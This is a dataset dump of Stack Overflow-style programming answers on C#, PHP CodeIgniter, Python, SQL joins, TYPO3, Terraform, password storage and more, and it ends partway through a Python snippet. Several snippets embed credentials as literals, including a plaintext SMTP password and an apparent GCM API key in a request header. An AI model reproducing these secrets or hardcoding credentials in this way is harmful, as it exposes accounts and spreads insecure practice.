_id
stringlengths 2
6
| partition
stringclasses 3
values | text
stringlengths 4
46k
| language
stringclasses 1
value | title
stringclasses 1
value |
---|---|---|---|---|
d18101 | test | I'm glad to announce that the problem is finally solved.
After spending a few days attempting to recreate this bug in a new application, re-constructing the main form in the application, comment out parts of the code in the main application, and generally just shooting all over to try and find a lead, It finally hit me.
The application behaved as if the clicks on the thickbox was queued somehow and only activated when the thickbox was closed. This morning, after fixing some other bugs, The penny finally dropped - all I was missing was a single line of code right before closing the thickbox's form:
Application.DoEvents();
The annoying thing is that it's not something that's new to me, I've used it many times before including in the main application and in the thickbox code itself... I guess I just had to let if go for a while to enable my mind to understand what was so painfully obvious in hindsight... | unknown | |
d18102 | test | You need to initialize RoomArea. Even though you initialize inside the class it is creating it's own member , but in order to add values you need to initialize it
london[0].RoomArea = new int[10];
london[0].RoomArea[0] = 15; | unknown | |
d18103 | test | Since we found the answer to your issue in the comments, it seemed prudent to write up an answer.
The problem was that your weren't doing anything with your email configuration array ($email_config). While you may or may not have had the right settings defined there, they meant nothing as they were not used properly.
Thus, at the very least, you must change your code to reflect the following changes:
$email_config = Array(
'protocol' => 'smtp',
'smtp_host' => 'ssl://smtp.googlemail.com',
'smtp_port' => '465',
'smtp_user' => '[email protected]',
'smtp_pass' => 'apptesting',
'mailtype' => 'html',
'starttls' => true,
'newline' => "\r\n"
);
$this->load->library('email', $email_config);
Please note that this will merely fix the issue with your approach, I cannot verify the credibility of your settings/access credentials.
EDIT:
As per jtheman's suggestion I decided to dig a bit deeper. You may want to look at this https://stackoverflow.com/a/17274496/2788532.
EDIT #2:
You can access useful error messages from CI's email class by using the following code (after you attempt to send an email, of course):
<?php echo $this->email->print_debugger(); ?>
A: Just add this in start of the function where you are writing send email code
$config = Array(
'protocol' => 'sendmail',
'mailtype' => 'html',
'charset' => 'utf-8',
'wordwrap' => TRUE
);
$this->email->initialize($config);
Email will forward but error same error will show
A: you may try this
*
*Open system/libraries/email.php
*Edit
var $newline = "\n";
var $crlf = "\n";
to
var $newline = "\r\n";
var $crlf = "\r\n";
A: make changes like this
'smtp_crypto'=>'ssl', //add this one
'protocol' => 'smtp',
'smtp_host' => 'smtp.gmail.com',
'smtp_port' => 465, | unknown | |
d18104 | test | readlines() includes the end of line characters:
In [6]: ff.readlines()
Out[6]: ['word1\n', 'word2']
You need to strip them off:
word = word.rstrip()
count = "X"
with open('data', 'r') as ff, open('/tmp/out', 'w') as fw:
for word in ff:
word = word.rstrip() # strip only trailing whitespace
fw.write("{}\t{}\n".format(word, count))
A: use str.rstrip() as to remove end of line \n.
use context manager with statement to open the file,
and use str.formate to write in file.
with open('out_file.txt') as ff, open('in_file.txt', 'w+') as r:
for line in ff:
r.write('{}\t{!r}\n'.format(line.rstrip(), 'X'))
r.seek(0)
print r.read()
>>>
word1 'X'
word2 'X'
word3 'X'
word4 'X'
A: you should remove '\n':
count = "X"
with open('data', 'r') as ff, open('/tmp/out', 'w') as fw:
for word in ff.readlines():
print >> fw, '%s\t%s' % (word.rstrip(), count) | unknown | |
d18105 | test | If you create the SecurityGroup within the module, it'll be created once per module inclusion.
I believe that some of the variable values for the sg name change when you include the module, right? Therefore, the sg name will be unique for both modules and can be created twice without errors.
If you'd choose a static name, Terraform would throw an error when trying to create the sg from module 2 as the resource already exists (as created by module 1).
You could thus define the sg resource outside of the module itself to create it only once.
You can then pass the id of the created sg as variable to the module inclusion and use it there for other resources. | unknown | |
d18106 | test | Your constants CKEY1 and CKEY2 and argument Key have int type. So expression
Key = (RStrB[i] + Key) * CKEY1 + CKEY2;
is calculated using 32-bit values. For example:
(4444 + 84) * 11111 + 22222 = 50 332 830
is close to your shown value, isn't it?
Delphi code uses 16-bit unsigned variables and corresponding arithmetics, C# equivalent for Delphi word is ushort
A: Here is what I ended up with:
private const short CKEY1 = 11111;
private const short CKEY2 = 22222;
public static string EncryptAString(string s, ushort Key)
{
try
{
var encryptedValue = string.Empty;
// Create a UTF-8 encoding.
UTF8Encoding utf8 = new UTF8Encoding();
// Encode the string.
byte[] RStrB = utf8.GetBytes(s);
for (var i = 0; i <= RStrB.Length - 1; i++)
{
RStrB[i] = Convert.ToByte(RStrB[i] ^ (Key >> 8));
Key = (ushort)(((RStrB[i] + Key) * CKEY1) + CKEY2);
}
for (var i = 0; i <= RStrB.Length - 1; i++)
{
encryptedValue = encryptedValue + RStrB[i].ToString("X2");
}
return encryptedValue;
}
catch (Exception)
{
throw;
}
}
Tested against the Delphi code and it works marvelously. | unknown | |
d18107 | test | Most RDBMS products will optimize both queries identically. In "SQL Performance Tuning" by Peter Gulutzan and Trudy Pelzer, they tested multiple brands of RDBMS and found no performance difference.
I prefer to keep join conditions separate from query restriction conditions.
If you're using OUTER JOIN sometimes it's necessary to put conditions in the join clause.
A: I prefer the JOIN to join full tables/Views and then use the WHERE To introduce the predicate of the resulting set.
It feels syntactically cleaner.
A: I typically see performance increases when filtering on the join. Especially if you can join on indexed columns for both tables. You should be able to cut down on logical reads with most queries doing this too, which is, in a high volume environment, a much better performance indicator than execution time.
I'm always mildly amused when someone shows their SQL benchmarking and they've executed both versions of a sproc 50,000 times at midnight on the dev server and compare the average times.
A: Agree with 2nd most vote answer that it will make big difference when using LEFT JOIN or RIGHT JOIN. Actually, the two statements below are equivalent. So you can see that AND clause is doing a filter before JOIN while the WHERE clause is doing a filter after JOIN.
SELECT *
FROM dbo.Customers AS CUS
LEFT JOIN dbo.Orders AS ORD
ON CUS.CustomerID = ORD.CustomerID
AND ORD.OrderDate >'20090515'
SELECT *
FROM dbo.Customers AS CUS
LEFT JOIN (SELECT * FROM dbo.Orders WHERE OrderDate >'20090515') AS ORD
ON CUS.CustomerID = ORD.CustomerID
A: The relational algebra allows interchangeability of the predicates in the WHERE clause and the INNER JOIN, so even INNER JOIN queries with WHERE clauses can have the predicates rearrranged by the optimizer so that they may already be excluded during the JOIN process.
I recommend you write the queries in the most readable way possible.
Sometimes this includes making the INNER JOIN relatively "incomplete" and putting some of the criteria in the WHERE simply to make the lists of filtering criteria more easily maintainable.
For example, instead of:
SELECT *
FROM Customers c
INNER JOIN CustomerAccounts ca
ON ca.CustomerID = c.CustomerID
AND c.State = 'NY'
INNER JOIN Accounts a
ON ca.AccountID = a.AccountID
AND a.Status = 1
Write:
SELECT *
FROM Customers c
INNER JOIN CustomerAccounts ca
ON ca.CustomerID = c.CustomerID
INNER JOIN Accounts a
ON ca.AccountID = a.AccountID
WHERE c.State = 'NY'
AND a.Status = 1
But it depends, of course.
A: For inner joins I have not really noticed a difference (but as with all performance tuning, you need to check against your database under your conditions).
However where you put the condition makes a huge difference if you are using left or right joins. For instance consider these two queries:
SELECT *
FROM dbo.Customers AS CUS
LEFT JOIN dbo.Orders AS ORD
ON CUS.CustomerID = ORD.CustomerID
WHERE ORD.OrderDate >'20090515'
SELECT *
FROM dbo.Customers AS CUS
LEFT JOIN dbo.Orders AS ORD
ON CUS.CustomerID = ORD.CustomerID
AND ORD.OrderDate >'20090515'
The first will give you only those records that have an order dated later than May 15, 2009 thus converting the left join to an inner join.
The second will give those records plus any customers with no orders. The results set is very different depending on where you put the condition. (Select * is for example purposes only, of course you should not use this in production code.)
The exception to this is when you want to see only the records in one table but not the other. Then you use the where clause for the condition not the join.
SELECT *
FROM dbo.Customers AS CUS
LEFT JOIN dbo.Orders AS ORD
ON CUS.CustomerID = ORD.CustomerID
WHERE ORD.OrderID is null
A: WHERE will filter after the JOIN has occurred.
Filter on the JOIN to prevent rows from being added during the JOIN process.
A: Joins are quicker in my opinion when you have a larger table. It really isn't that much of a difference though especially if you are dealing with a rather smaller table. When I first learned about joins, i was told that conditions in joins are just like where clause conditions and that i could use them interchangeably if the where clause was specific about which table to do the condition on.
A: It is better to add the condition in the Join. Performance is more important than readability. For large datasets, it matters.
A: Putting the condition in the join seems "semantically wrong" to me, as that's not what JOINs are "for". But that's very qualitative.
Additional problem: if you decide to switch from an inner join to, say, a right join, having the condition be inside the JOIN could lead to unexpected results. | unknown | |
d18108 | test | I would recommend using the -optf switch that is selectable under Project Settings... Build ... Settings...Tool Settings...Miscellaneous and add your own file to the project that contains whatever compiler switches you want to add.
I think most compiler switches are already covered in the GUI, however. | unknown | |
d18109 | test | Daniel - Dude there is an issue with the GCM documentation ! Use Browser key as the authorization key at the place of Server API key . It will work.
A: OK, i am just shooting in the dark here. Take a look at this line:
Request.Headers.Add(HttpRequestHeader.Authorization, "Authorization: key=AIzaSyCEygavdzrNM3pWNPtvaJXpvW66CKnjH_Y");
Shouldn't it be:
Request.Headers.Add(HttpRequestHeader.Authorization, "key=AIzaSyCEygavdzrNM3pWNPtvaJXpvW66CKnjH_Y");
Since you're telling it this is a Authorization header, there's no need to add 'Authorization: ' again, does it?
Also, make sure the string constant 'HttpRequestHeader.Authorization' is 'Authorization'. | unknown | |
d18110 | test | You could store the BackUrl parameter in a cookie and check for that cookie existence everytime you log in. If it's defined, then remove it and redirect the user to its value.
A: "But this doesn't work, I guess it is due to Rocketloader, but how can I get around this?"
The easy way to check this would be to simply disable Rocket Loader in your settings & then try it again (might need to flush your browser cache after doing it). You could also pause CloudFlare entirely in your settings to see if the behavior changes). | unknown | |
d18111 | test | Sounds like this is a proxy issue, in order to isolate it, if possible and then host the application on the local box and then try to record it, it will work.!! | unknown | |
d18112 | test | From your description I understand that you want to keep everything in the com.foo.bar package (+ subpackages?). You can achieve this by the following rule:
-keep class com.foo.bar.** { *; }
The ** pattern will match also subpackages, if you only want to current package, use * instead.
If you use a rule like this:
-keep class !com.foo.** { *; }
you will actually keep everything but com.foo.**, so you should be careful with exclusion patterns. Always include at least one inclusion pattern afterwards. The exclusion pattern should be more specific as the inclusion pattern, see below.
This rule should parse correctly (just tested it), but will not work, as ProGuard will stop evaluating a rule once it finds a match:
-keep class !com.foo.**, com.foo.bar.** { *; }
The exclusion pattern !com.foo.** will match everything in com.foo and subpackages, thus it will also match com.foo.bar. | unknown | |
d18113 | test | Your table view needs a clear background colour. For example
myTableView.backgroundColor = [UIColor clearColor];
A: I solved it by using another method to add the background image to the UITableViewCell:
UIImage *image = [UIImage imageNamed:@"ny_bg_event.png"];
UIImageView *imageView = [[UIImageView alloc] initWithImage:image];
imageView.frame = CGRectMake(0, 0, 300, 84);
cell.backgroundView = imageView;
cell.backgroundColor = [UIColor clearColor];
[imageView release];
[cell setFrame:CGRectMake(0, 0, 300, 84)];
cell.contentView.backgroundColor = [UIColor clearColor];
Instead of creating a UIView I just used a UIImageView instead. | unknown | |
d18114 | test | You can use localStorage#getItem to get the current list, and JSON#parse to convert it to an array of objects. Then, use Array#push to add the current item, and finally, use localStorage#set and JSON#stringify to save the updated list:
function addToCart(id) {
try {
const hoodie = allHoodies[id];
if(hoodie) {
const items = JSON.parse(localStorage.getItem('items') || "[]");
items.push(hoodie);
localStorage.setItem('items', JSON.stringify(items));
}
} catch(e) {
console.log('error adding item');
}
}
Function to show the saved list:
function displayProductsinCart() {
const products = JSON.parse(localStorage.getItem("item") || "[]");
document.getElementById("item-container").innerHTML = products.reduce((cards, product) =>
cards + `<div class="card">
<img class="item-image" src="${product.image}">
<h1 class="product-type">${product.type}</h1>
<p>Color: ${product.color}</p>
<p>${product.description}</p>
<p class="price">${product.price} </p>
<p><button>Buy</button></p>
</div>
`, '');
} | unknown | |
d18115 | test | You can learn the meaning of OpenCL error codes by searching in cl.h. In this case, -11 is just what you'd expect, CL_BUILD_PROGRAM_FAILURE. It's certainly curious that the build log is empty. Two questions:
1.) What is the return value from clGetProgramBuildInfo?
2.) What platform are you on? If you are using Apple's OpenCL implementation, you could try setting CL_LOG_ERRORS=stdout in your environment. For example, from Terminal:
$ CL_LOG_ERRORS=stdout ./myprog
It's also pretty easy to set this in Xcode (Edit Scheme -> Arguments -> Environment Variables).
Please find the original answer by @James
A: This unhelpful error message indicates that there is bug in Apple's compiler. You can inform them of such bugs by using the Apple Bug Reporting System. | unknown | |
d18116 | test | You're assigning the handler function to the wrong member of sig. The declaration of struct sigaction is:
struct sigaction {
void (*sa_handler)(int);
void (*sa_sigaction)(int, siginfo_t *, void *);
sigset_t sa_mask;
int sa_flags;
void (*sa_restorer)(void);
};
sig.sa_handler is a function with only one argument, the signal number. When you use the SA_SIGINFO flag, you need to assign the 3-argument function to sig.sa_sigaction instead.
int main(){
struct sigaction sig;
sig.sa_flags = SA_SIGINFO;
sigemptyset(&sig.sa_mask);
sig.sa_sigaction = handler; | unknown | |
d18117 | test | You are using __FUNCTION__ like a preprocessor macro, but it's a variable (please read http://gcc.gnu.org/onlinedocs/gcc/Function-Names.html).
Try printf("%s", __FUNCTION__) just for testing and it will print the function name.
A: __FUNCTION__ is not standard. Use __func__. As the documentation says, it's as if:
<ret-type> function_name( <args> )
{
static const char __func__[] = "function-name";
...
A: In C/C++, the preprocessor will turn "my " "name " "is " "Bob" into the string literal "my name is Bob"; since __FILE__ and __LINE__ are preprocessor instructions, "We are on line " __LINE__ will pass "We are on line 27" to the compiler.
__FUNCTION__ is normally a synonym for __func__. __func__ can be thought of as a pseudo-function that returns the name of the function in which it is called. This can only be done by the compiler and not by the preprocessor. Because __func__ is not evaluated by the preprocessor, you do not get automatic concatenation. So if you are using printf it must be done by printf("the function name is %s", __func__);
A:
Is there any way to force that replacement with a string to an earlier step so that the line is correct?
No. __FUNCTION__ (and its standardized counterpart, __func__) are compiler constructs. __FILE__ and __LINE__ on the other hand, are preprocessor constructs. There is no way to make __FUNCTION__ a preprocessor construct because the preprocessor has no knowledge of the C++ language. When a source file is being preprocessed, the preprocessor has absolutely no idea about which function it is looking at because it doesn't even have a concept of functions.
On the other hand, the preprocessor does know which file it is working on, and it also knows which line of the file it is looking at, so it is able to handle __FILE__ and __LINE__.
This is why __func__ is defined as being equivalent to a static local variable (i.e. a compiler construct); only the compiler can provide this functionality.
A: Is this what you want?
#include <stdio.h>
#define DBG_WHEREAMI(X) printf("%s %s(%d): %s\n",__func__,__FILE__,__LINE__,X)
int main(int argc, char* argv)
{
DBG_WHEREAMI("Starting");
}
Note: Since you marked this as C++ you should probably be using the iostreams to make sure it's type safe.
A: printf("%s" __FILE__ __LINE__ "\n", __FUNCTION__);
Yeah, I know that's not really the same.
A: Note that if you create a class, you can build a message from any number of types as you'd like which means you have a similar effect to the << operator or the format in a printf(3C). Something like this:
// make sure log remains copyable
class log
{
public:
log(const char *function, const char *filename, int line)
{
f_message << function << ":" << filename << ":" << line << ": ";
}
~log()
{
//printf("%s\n", f_message.str().c_str()); -- printf?!
std::cerr << f_message.str() << std::endl;
}
log& operator () (const char *value)
{
f_message << value;
}
log& operator () (int value)
{
f_message << value;
}
// repeat with all the types you want to support in the base class
// (should be all the basic types at least)
private:
sstream f_message;
};
// start the magic here
log log_error(const char *func, const char *file, int line)
{
log l(func, file, line);
return l;
}
// NOTE: No ';' at the end here!
#define LOG_DEBUG log_error(__func__, __FILE__, __LINE__)
// usage sample:
LOG_DEBUG("found ")(count)(" items");
Note that you could declare the << operators instead of the (). In that case the resulting usage would be something like this:
LOG_DEBUG << "found " << count << " items";
Depends which you prefer to use. I kind of like () because it protects your expressions automatically. i.e. if you want to output "count << 3" then you'd have to write:
LOG_DEBUG << "found " << (count << 3) << " items"; | unknown | |
d18118 | test | You can do:
@vehicles = Vehicle.order('vehicles.id ASC')
if params[:vehicle_size].present?
@vehicles = @vehicles.where(vehicle_size: params[:vehicle_size])
end
Or, you can create scope in your model:
scope :vehicle_size, ->(vehicle_size) { where(vehicle_size: vehicle_size) if vehicle_size.present? }
Or, according to this answer, you can create class method:
def self.vehicle_size(vehicle_size)
if vehicle_size.present?
where(vehicle_size: vehicle_size)
else
scoped # `all` if you use Rails 4
end
end
You call both scope and class method in your controller with, for example:
@vehicles = Vehicle.order('vehicles.id ASC').vehicle_size(params[:vehicle_size])
You can do same thing with remaining parameters respectively.
A: The has_scope gem applies scope methods to your search queries, and by default it ignores when parameters are empty, it might be worth checking | unknown | |
d18119 | test | In TYPO3 you should store images as references. TYPO3 provides a File Abstraction Layer which you and your extension should use.
That starts with integration in TCA, see: https://docs.typo3.org/m/typo3/reference-tca/10.4/en-us/ColumnsConfig/Type/Inline.html#file-abstraction-layer
For the frontend output, you can refer to this part of the documentation: https://docs.typo3.org/m/typo3/reference-coreapi/main/en-us/ApiOverview/Fal/UsingFal/Frontend.html
So, two short points:
*
*Correct integration in backend via TCA and references
*Correct integration in frontend via Image ViewHelper and either fetching FileReference object via Extbase or via DataProcessing.
A: In TYPO3 files are handled normally by FAL (File Abstraction Layer). This means: you get a record with relevant information of the file. in any record which references a file you have symbolic DB-field (with just a counter in it) and you have MM-records which connects the sys_file records of the file to your record.
Your example probably includes special records where files can be referenced.
If you develop extensions you can use this manual to get more information about structure of files and records.
You also can have a look into the declaration of other records like the extension you gave as example.
The currently best example would always be the declaration of the core.
For an example how to include files in a record I would suggest the table tt_content and the field media.
The important part is the TCA declaration, as this configures the 'magic' how an integer field from the database table is connected to a file. | unknown | |
d18120 | test | A descriptor is a kind of a key. When you want to access some room you need to get the key for it. open grants you an access to the room (the file) by giving you a key for it.
To access (read/write) the room (the file) you need the key.
Then to be fair (the number of key in the system is bounded), when you no more need access to the room you should release the key (close the descriptor). Thus, the key is now globally available to other clients...
This is the same for all ressources that a process (a client) want to access. Get a key, use the key, release the key for the ressource. You can have many different sets of keys : keys for files, keys for memory, etc.
The system is the owner of the keys and manage them, process ask system for keys and just use them.
For duplication is just a way to provide key sharing. Two process can use the same key to access the room. If you want to understand what sharing such a key exactly means, you need to understand what an open file exactly is.
In fact, what the system gaves you is not just a simple key as in real life. A descriptor is an entry in a system table that describes the state of a file being manipulated. When you open a file, some data where allocated.
*
*first in the process own space, there is some data initialized to prepare the process to be able to manipulated a file. These data where placed in the process' descriptors table. Your descriptor is exactly an index in that table. That entry refers to a system open-file table.
*second the system tracks all opened files in its opened-file table. In such a table entry you have many data that helps the system to realize operations you need on the file (which file it is, buffer caching structures, current position to the file, current opening mode, etc).
Now in many cases, there is only one process entry associated to a system entry. But this is not always the case! Think about two different processes writing on the same terminal, then in each process you have an descriptor that represents its access to the terminal (in Unix a terminal is just a file), but both of these entries points to the same system table entry which contains data that says which terminal it is, etc.
duplicating a descriptor realize exactly the situation : you have in the same process 2 entries that points the the same system entry. Another way to duplicate descriptors is to fork a process, that clones a process, and that cloning clones process descriptors table... This is the way two process can share the same terminal for example. A first process (maybe a shell) opens the terminal, and then forks to execute a sub-command such that sub-command can access the same terminal. | unknown | |
d18121 | test | The simplest way I've found is to tell the Window to size to its content:
<Window ... SizeToContent="WidthAndHeight" ...>
and then, once it's done sizing (which will take the child elements' MinWidth and MinHeight into account), run some code that sets MinWidth and MinHeight to the window's ActualWidth and ActualHeight. It's also a good idea to turn SizeToContent back off at this point, lest the window resize when its content changes.
The next question is, where to put this code? I finally settled on OnSourceInitialized:
protected override void OnSourceInitialized(EventArgs e)
{
base.OnSourceInitialized(e);
MinWidth = ActualWidth;
MinHeight = ActualHeight;
ClearValue(SizeToContentProperty);
}
I also tried the Loaded event, but in my case, that was too soon -- Loaded happens before databindings have been evaluated, and I had databindings that affected my layout (a Label with a binding for its Content -- its size changed after the binding took effect). Moving the code into OnSourceInitialized, which fires after databinding, corrected the problem.
(There were also other events that fired after binding, but before the window was shown -- SizeChanged and LayoutUpdated -- but they both fire multiple times as the window is shown, and again later if the user resizes the window; OnSourceInitialized only fires once, which I consider ideal.)
A: Have you tried using an ElementName style binding from the Window to the UserControl at hand? It seems like it would be feasible to bind the Window's MinWidth/Height to those of the Button. Still not pretty, but it shouldn't require extra passes once the binding is in place and will adapt if you change the values on the Button. | unknown | |
d18122 | test | You can implement your own just using ObjectOutputStream and ObjectInputStream.
You can create a directory with map's name.
store(key, value) operation creates a file with name key.dat, with content of serialized value.
load(key) method reads "key.dat" file into an object and returns.
Here usage examples of ObjectOutputStream and ObjectInputStream
http://www.mkyong.com/java/how-to-write-an-object-to-file-in-java/
http://www.mkyong.com/java/how-to-read-an-object-from-file-in-java/
Then you should add this implementation class to your class path and set it in your hazelcast.xml | unknown | |
d18123 | test | Inspection is right. You declare your notes variable to be nullable array of not nullable items.
notes: Array<KeyValueNote>? // Can be null, cannot contain nulls.
notes: Array<KeyValueNote?> // Cannot be null, can contain nulls.
With this in mind, filterNotNull()?. is necessary for this array because it is nullable. You can find more information on Kotlin null safety in Kotlin documentation.
A: The type of notes is Array<KeyValueNote>?, which means that the elements of the array can not be null, but the array itself can. Thus, your code in the "I want" section is correct. A shorter alternative for it would be:
notes?.forEach { payloadJson.put(it.key, it.value) }
About your alternatives:
*
*Alternative 1: Never use let like this. It should be a safe call ?. (like in Alternative 2), nothing else. My heart bleeds when I see let in those situations :(
*Alternative 2: takeWhile and filter are obviously not the same thing. I guess you wanted filterNotNull, like in the Alternative 3
*Alternative 3: Since the elements of the array can NOT be null (because of their type), filterNotNull is equivalent to toList since it just copies the content
A: I guess you're confused by it parameter used in different scopes. The first alternative can be rewritten as:
notes?.let { notesSafe:Array<KeyValueNote> -> // notesSafe is not null here
notesSafe
.takeWhile { item:KeyValueNote -> item != null } // item is already not null by it's type definition
.forEach { payloadJson.put(it.key, it.value) }
}
The second alternative is pretty much the same and the compiler note about item:KeyValueNote is true for the same reason: val items:Array<KeyValueNote>? cannot hold null values - but the items itself could be null.
The 3rd alternative has a safe call to filterNotNull which returns source collection with null values removed. However as mentioned Array<KeyValueNote> cannot have null values in it hence the filterNotNull is not required.
In conclusion the expression can be written as:
notes?.forEach { payloadJson.put(it.key, it.value) } | unknown | |
d18124 | test | Assuming that gamedate is a date field rather than a datetime field, that should work. If it's a datetime field, you would have to use something like date(gamedate) as the first ordering predicate:
SELECT * FROM games ORDER BY date(gamedate) ASC, team_id ASC | unknown | |
d18125 | test | public ClassB extends ClassA {
public ClassB() throws MyClassAException {
super();
}
}
A: You can add your exception in the throws clause of your sub class constructor: -
class ClassA {
ClassA() throws Exception {
}
}
public class Demo extends ClassA {
Demo() throws Exception {
super();
}
public static void main(String[] args) {
try {
Demo d = new Demo(); // Handle exception here.
} catch (Exception e) {
e.printStackTrace();
}
}
}
A: ClassB should have a static method
public static ClassB makeClassB() {
try {
return new ClassB();
}
catch(Exception exc) {
// whatever logic you are currently performing to swallow
// presumably you have some default ClassB to return as part of this logic?
}
that will wrap the construction of ClassB with a try/catch. Client code will call makeClassB() and the constructor to ClassB will be private and throwing. | unknown | |
d18126 | test | I deleted my logic app, and re-deployed it and the Logic App is executing as expected and the Trigger history (where it was showing Failed previously) shows as either Skipped (nothing to do) or Succeeded.
Strange that only a handful of my Logic Apps were failing, but this fixed my issue at this time. | unknown | |
d18127 | test | db.words.aggregate([
{ "$unwind" : "$phrases"},
{
"$lookup": {
"from": "phrases",
"localField": "phrases",
"foreignField": "id",
"as": "phrases_data"
}
},
{ "$match" : { "phrases_data.active" : 1} },
{ "$group" : {
"_id" : "$word",
"active_count" : { $sum : 1 }
}
}
]);
You can use above aggregation pipeline :
*
*Unwind the phrases array from words collection documen as separate document
*do a lookup(join) in phrases collection using unwinded phrases
*filter the phrases and check for active using $match
*Finally group phrases by word and count using $sum : 1 | unknown | |
d18128 | test | ElasticSearch's main use cases are for providing search type capabilities on top of unstructured large text based data. For example, if you were ingesting large batches of emails into your data store every day, ElasticSearch is a good tool to parse out pieces of those emails based on rules you setup with it to enable searching (and to some degree querying) capability of those email messages.
If your data is already in SQL Server, it sounds like it's structured already and therefore there's not much gained from ElasticSearch in terms of reportability and availability. Rather you'd likely be introducing extra complexity to your data workflow.
If you have structured data in SQL Server already, and you are experiencing issues with reporting directly off of it, you should look to building a data warehouse instead to handle your reporting. SQL Server comes with a number of features out of the box to help you replicate your data for this very purpose. The three main features to accomplish this that you could look into are AlwaysOn Availability Groups, Replication, or SSIS.
Each option above (in addition to other out-of-the-box features of SQL Server) have different pros and drawbacks. For example, AlwaysOn Availability Groups are very easy to setup and offer the ability to automatically failover if your main server had an outage, but they clone the entire database to a replica. Replication let's you more granularly choose to only copy specific Tables and Views, but then you can't as easily failover if your main server has an outage. So you should read up on all three options and understand their differences.
Additionally, if you're having specific performance problems trying to report off of the main database, you may want to dig into the root cause of those problems first before looking into replicating your data as a solution for reporting (although it's a fairly common solution). You may find that a simple architectural change like using a columnstore index on the correct Table will improve your reporting capabilities immensely.
I've been down both pathways of implementing ElasticSearch and a data warehouse using all three of the main data synchronization features above, for structured data and unstructured large text data, and have experienced the proper use cases for both. One data warehouse I've managed in the past had Tables with billions of rows in it (each Table terabytes big), and it was highly performant for reporting off of on fairly modest hardware in AWS (we weren't even using Redshift). | unknown | |
d18129 | test | for a in soup.find_all('script', type="text/javascript"):
print(a.text)
find_all() will return a tag list like:
[tag1, tag2, tag3]
find() will only return the first tag:
tag1
if you want to get all the tag in the tag list, use for loop to iterate it. | unknown | |
d18130 | test | For logon you want to store an iterated salted hash of the password not the password itself. Two possibilities are:
*
*bcrypt - A modified form of blowfish that increases the work factor
*PBKDF2 - A function from the PKCS#5 spec that uses HMAC with a hash function and random salt to iterate over a password many times.
However, this will not work with your requirements:
*
*Support remote password retrieval
I am hoping you can convince the client that what they really mean is to reset the password, in which case you can still use a password hash.
*
*Support data retrieval on accidental/purposeful deletion
This requirementment is harder to work around and will require you to weaken security by storing encrypted passwords in the database so they can be reversed. To do this you should use a master key, encrypt each password with a random IV using a cipher like AES/CBC or AES/CTR mode. You should regularly rekey the master key and reencrypt all the passwords . You will then need a mechanism for working out when to allow password retrieval (e.g. mother's maiden name etc)
To use the password to encrypt data use the PKDF2 function from PKCS#5 to generate a key from the password.
A: Never store the password itself. Hash the password using a salt and store that.
A: You could use a SQLite database. As it's just a file you can use standard file permissions to restrict access. e.g. chmod 600 foo.dbs will restrict access to the file so that only the owner can read/write to it.
Then as others have suggested you store a hashed password in the database and it'll be reasonably secure.
Rumour has it that there's a commercial version of SQLite available that encrypts the entire database file. However, this shouldn't be a substitute for storing hashed passwords, merely an addition to hashing.
edit: Here's the link to the commercial version of sqlite with support for encryption of the entire DB.
A: I'm not quite sure if I fully understand your question. But anyway.
How about setting up a user "FooUser" (assuming your product is "Foo"). Store the file / database at a location with read/write permitions only for user FooUser. Access file / database via service / daemon impersonating FooUser.
A: First and foremost, neve store the plain-text password, instead store its hash. Using a salt is a good idea too if you expect the number of users to become large enough to have password collisions.
Do you actually need to store password on all of the systems, or can you get away with a centralized, password server, solution? If a server based solution is acceptable then a decent challenge response scheme can authenticate people without revealing their password or its hash. Secure communication witht the server using certificates, to make forgery harder and then just don't allow access to the password storage on the server, through whatever means is appropriate, which can be OS specific since there is only one, or just don't let people onto the server.
A: I think the right way to go is:
*
*in memory, you concatenate user name + password + some cookie (lets say: megan fox").
You then apply a commercial hash algorithm to it. I use SHA (System.Security.Cryptography.SHA1CryptoServiceProvider) from .NET Framework but I am sure it is no problem to make it work in C++ or perhaps get it for C++.
So, even if someone gets to look the stored hash, there is no way he can know the password. Event if he wants to compare identical passwords, he will get nothing because of the user name + cookie concatenation.
Your login code must create the hash and compare it against the stored one
Problem is, you do not get to recover the password. But I think this is something good.
Hope this helps. | unknown | |
d18131 | test | Have you tried:
$globaloptions = array(
'no-outline',
'encoding' => 'UTF-8',
'orientation' => 'Landscape',
'enable-javascript'); | unknown | |
d18132 | test | After getting input from console, you should create a loop which breaks when guessed number equal to input. For example:
# Input - Guess
guess = int(input('Please guess a number between 1 and 100: '))
att = 1
# Process - Guess and Display Result
result = num_check(guess, num)
while result != guess:
if result == 'high':
guess = int(input('Your guess was HIGH! Please guess another number between 1 and 100: '))
att += 1
result = num_check(guess, num)
elif result == 'low':
guess = int(input('Your guess was LOW! Please guess another number between 1 and 100: '))
att += 1
result = num_check(guess, num)
else:
break
print('Your guess was CORRECT! You got it in ' + str(att) + ' attempts!')
After revision, code seems like:
import random
# Define function - Number Generator
def num_gen():
num = random.randrange(1, 101)
return num
# Define function - Number Check
def num_check(x, y):
result = ''
if x > y:
result = 'high'
elif x < y:
result = 'low'
else:
result = 'correct'
return result
# Call - Number Generator
num = num_gen()
# Input - Guess
guess = int(input('Please guess a number between 1 and 100: '))
att = 1
# Process - Guess and Display Result
result = num_check(guess, num)
while result != guess:
if result == 'high':
guess = int(input('Your guess was HIGH! Please guess another number between 1 and 100: '))
att += 1
result = num_check(guess, num)
elif result == 'low':
guess = int(input('Your guess was LOW! Please guess another number between 1 and 100: '))
att += 1
result = num_check(guess, num)
else:
break
print('Your guess was CORRECT! You got it in ' + str(att) + ' attempts!')
A: You should use while True:, because your guessing code runs only once without it
import random
# Define function - Number Generator
def num_gen():
num = random.randrange(1, 10)
return num
# Define function - Number Check
def num_check(x, y):
result = ''
if x > y:
result = 'high'
elif x < y:
result = 'low'
else:
result = 'correct'
return result
# Call - Number Generator
att = 1
num = num_gen()
while True:
# Input - Guess
guess = int(input('Please guess a number between 1 and 100: '))
# Process - Guess and Display Result
result = num_check(guess, num)
if result == 'high':
print('Your guess was HIGH! Please guess another number between 1 and 100: ')
att += 1
elif result == 'low':
print('Your guess was LOW! Please guess another number between 1 and 100: ')
att += 1
else:
print('Your guess was CORRECT! You got it in ' + str(att) + ' attempts!')
break
A: It's because python programs runs from top to bottom, and when it reaches the bottom it's done and stops running. To stop this order we have multiple different ways:
We can call a function, as you do in you're program.
Selection Control Structures: As if statements
Iteration Control Structures: As loops
The last one is the one you need in this solution. Wrap code in a while loop, with the correct condition, in you're example, this would be
# Input - Guess
guess = int(input('Please guess a number between 1 and 100: '))
att = 1
# Process - Guess and Display Result
result = num_check(guess, num)
if result == 'high':
guess = int(input('Your guess was HIGH! Please guess another number between 1 and 100: '))
att += 1
result = num_check(guess, num)
elif result == 'low':
guess = int(input('Your guess was LOW! Please guess another number between 1 and 100: '))
att += 1
